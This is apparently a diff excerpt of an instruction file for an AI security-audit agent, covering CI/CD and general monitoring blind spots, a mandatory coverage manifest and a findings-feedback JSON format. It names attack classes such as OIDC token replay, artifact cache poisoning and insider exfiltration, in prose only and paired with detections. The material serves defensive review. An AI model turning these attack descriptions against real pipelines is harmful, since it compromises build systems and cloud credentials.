What current security monitoring CANNOT detect in this domain, and what to build to close each gap.
|
|
433
|
+
|
|
434
|
+
**Standard gaps that MUST be checked:**
|
|
435
|
+
|
|
436
|
+
- **Second-order attack execution**: The storage request looks safe; only the retrieval+execution step is dangerous. Need: correlate write events with downstream read+execute events in the same SIEM query window.
|
|
437
|
+
- **Timing-side-channel leakage**: No log event emitted; only observable as microsecond response-time variance. Need: per-endpoint p99 latency tracking with statistical anomaly detection.
|
|
438
|
+
- **Low-and-slow credential stuffing**: Individually, each request is under rate limits. Need: behavioural baseline — flag accounts with geographically impossible velocity or device-fingerprint mismatch across authentication attempts.
|
|
439
|
+
- **Insider exfiltration via legitimate process**: Authorised exports, reports, and data downloads that individually are permitted but collectively constitute data exfiltration. Need: data-volume anomaly detection — alert when a single user's data access volume exceeds 3× their 30-day baseline within 24 hours.
|
|
440
|
+
- **Cross-agent attack chains**: Phase 1 finding A + Phase 1 finding B = CRITICAL chain invisible to either agent alone. Need: CISO orchestrator Phase 1 synthesis step — correlate all agent findings before Phase 2.
|
|
441
|
+
|
|
442
|
+
**CI/CD-specific detection gaps:**
|
|
443
|
+
|
|
444
|
+
- **Cache poisoning between branches**: Artifact caches are shared across branches; a poisoned cache entry from one job silently corrupts subsequent jobs on different branches. SIEM events do not include cache content hashes. Need: cache integrity verification step at job start using known-good hashes stored out-of-band.
|
|
445
|
+
- **Runner filesystem modification**: No GitHub Actions log event is emitted when a job modifies the runner filesystem outside the workspace directory. Need: file integrity monitoring (FIM) on runner hosts with alerts on changes outside `/home/runner/work/`.
|
|
446
|
+
- **OIDC token replay across environments**: A short-lived OIDC token issued to a dev job and captured by a malicious step can be replayed against production within its validity window. Need: audience binding and single-use token enforcement at the cloud provider trust policy layer.
|
|
447
|
+
- **Supply chain compromise via transitive dependency**: Direct dependency is legitimate; an attacker compromises a transitive dependency three levels deep. SAST and SCA tools only check declared dependencies. Need: full transitive dependency lockfile pinning with SHA-based verification (npm lockfile v3, Cargo.lock, pip-tools hashes).
|
|
448
|
+
|
|
449
|
+
---
|
|
450
|
+
|
|
451
|
+
## §ZERO-MISS-MANDATE
|
|
452
|
+
|
|
453
|
+
This agent CANNOT declare any attack class clean without explicit evidence of checking. For each item, output one of:
|
|
454
|
+
- `CHECKED: [N files] | [patterns used] | CLEAN`
|
|
455
|
+
- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
|
|
456
|
+
- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
|
|
457
|
+
|
|
458
|
+
**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
|
|
459
|
+
|
|
460
|
+
The output findings JSON MUST include a `coverageManifest` key:
|
|
461
|
+
```json
|
|
462
|
+
{
|
|
463
|
+
"coverageManifest": {
|
|
464
|
+
"attackClassesCovered": [{ "class": "Pipeline Expression Injection", "filesReviewed": 12, "patterns": ["github.event.pull_request", "run: steps with event context"], "result": "CLEAN" }],
|
|
465
|
+
"filesReviewed": 12,
|
|
466
|
+
"negativeAssertions": ["pull_request_target: searched across 12 workflow files — 0 occurrences", "Mutable SHA pinning: 0 @v[0-9] or @main tags found"],
|
|
467
|
+
"uncoveredReason": {}
|
|
468
|
+
}
|
|
469
|
+
}
|
|
470
|
+
```
|
|
471
|
+
|
|
472
|
+
---
|
|
473
|
+
|
|
474
|
+
## LEARNING SIGNAL
|
|
475
|
+
|
|
476
|
+
On every finding resolved, emit:
|
|
477
|
+
```json
|
|
478
|
+
{
|
|
479
|
+
"findingId": "FINDING_ID",
|
|
480
|
+
"agentName": "cicd-pipeline-hijacker",
|
|
481
|
+
"resolved": true,
|
|
482
|
+
"remediationTemplate": "one-line description of what was done",
|
|
483
|
+
"falsePositive": false
|
|
484
|
+
}
|
|
485
|
+
```
|
|
486
|
+
Call `security.record_outcome` with this payload so the routing engine learns which agent resolves each finding class most successfully. If a finding is a false positive, set `falsePositive: true` — this prevents the false-positive pattern from being routed here again.
|